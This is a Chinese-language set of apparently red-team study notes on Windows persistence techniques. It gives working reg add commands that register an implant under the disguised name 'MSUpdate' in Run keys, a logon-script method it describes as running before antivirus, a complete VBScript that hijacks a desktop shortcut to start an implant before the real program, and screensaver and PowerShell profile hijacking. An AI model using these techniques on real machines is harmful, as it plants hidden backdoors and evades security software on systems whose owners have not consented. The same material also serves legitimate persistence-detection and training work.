自启动目录和注册表项

自启动程序

1
C:\Users\Jack\AppData\Roaming\Microsoft\Windows\Start Menu\Programs

只需要把恶意程序丢到这个目录下就行

查看注册表项中的 Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

启动注册表的命令

1
2
# /v是指定注册表的名字
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /t reg_sz /d C:\xxxx.exe /f

还有一个注册表项 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 需要管理员权限

添加成功之后需要重新登录一下用户

删除自启动项命令

1
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.exe"

删除注册表项命令

1
reg delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /f

Logon Scripts

当用户登录的时候,会有init的进程来初始化,其中有一个步骤会启动Logon Scripts,且Logon Scripts优先于杀软先执行,可以利用这一点来绕过杀软的敏感操作拦截,当用户登录的时候会执行里面的脚本

Logon Scripts的注册表项

1
HKEY_CURRENT_USER\Environment

命令行添加

1
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "C:\logon.bat" /t REG_SZ /f

logon.bat

1
2
3
@ECHO OFF

C:\rto\pers\implant\implant.exe

篡改快捷方式

通过修改快捷方式,将快捷方式修改为恶意程序的地址,该恶意程序会先启动另一个恶意程序,然后再启动正常的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
' CONFIGURATION
implant = "C:\RTO\PERS\implant\implant.exe"
newTarget = "C:\RTO\PERS\01.USER\putty.vbs"
lnkName = "putty.exe.lnk"

' helper vars
set WshShell = WScript.CreateObject("WScript.Shell" )
strDesktop = WshShell.SpecialFolders("Desktop" )
set oShellLink = WshShell.CreateShortcut(strDesktop & "\" & lnkName )
origTarget = oShellLink.TargetPath
origArgs = oShellLink.Arguments
origIcon = oShellLink.IconLocation
origDir = oShellLink.WorkingDirectory

' persistence implantation
Set FSO = CreateObject("Scripting.FileSystemObject")
Set File = FSO.CreateTextFile(newTarget,True)
File.Write "Set oShell = WScript.CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")" & vbCrLf
File.Write "oShell.Run " & chr(34) & implant & chr(34) & vbCrLf
File.Write "oShell.Run " & chr(34) & oShellLink.TargetPath & " " & oShellLink.Arguments & chr(34) & vbCrLf
File.Close

oShellLink.TargetPath = newTarget
oShellLink.IconLocation = origTarget & ", 0"
oShellLink.WorkingDirectory = origDir
oShellLink.WindowStyle = 7
oShellLink.Save

篡改屏幕保护程序

在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,其中屏幕保护的配置存储在注册表中,其位置为:HKEY_CURRENT_USER\Control Panel\Desktop

1
2
3
SCRNSAVE.EXE - 默认屏幕保护程序,我们可以把这个键值改为我们的恶意程序
ScreenSaveActive - 1表示屏幕保护是启动状态,0表示表示屏幕保护是关闭状态
ScreenSaverTimeout - 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)

命令行启动屏幕保护程序

1
2
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /d "C:\evil.exe" /t REG_SZ /f
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaverTimeout" /d "10" /t REG_SZ /f

但是现实情况中,这种设置可能会被活动目录的组策略影响

Powershell Profile

这种技术不一定能用于所有Windows,依赖于系统设置,流程是当Powershell启动的时候劫持系统环境变量,所以这种依赖于有程序正在运行Powershell,而这种情况不一定存在

当Powershell启动的时候,会使用特定的各种设置(Profile),这些设置因用户而异,用户设置的情况下,需要在指定目录下创建一个Profile.ps1

1
C:\Users\Jack\Documents\WindowsPowerShell

该目录下的Profile.ps1,会在每次有Powershell进程启动的时候就跟随启动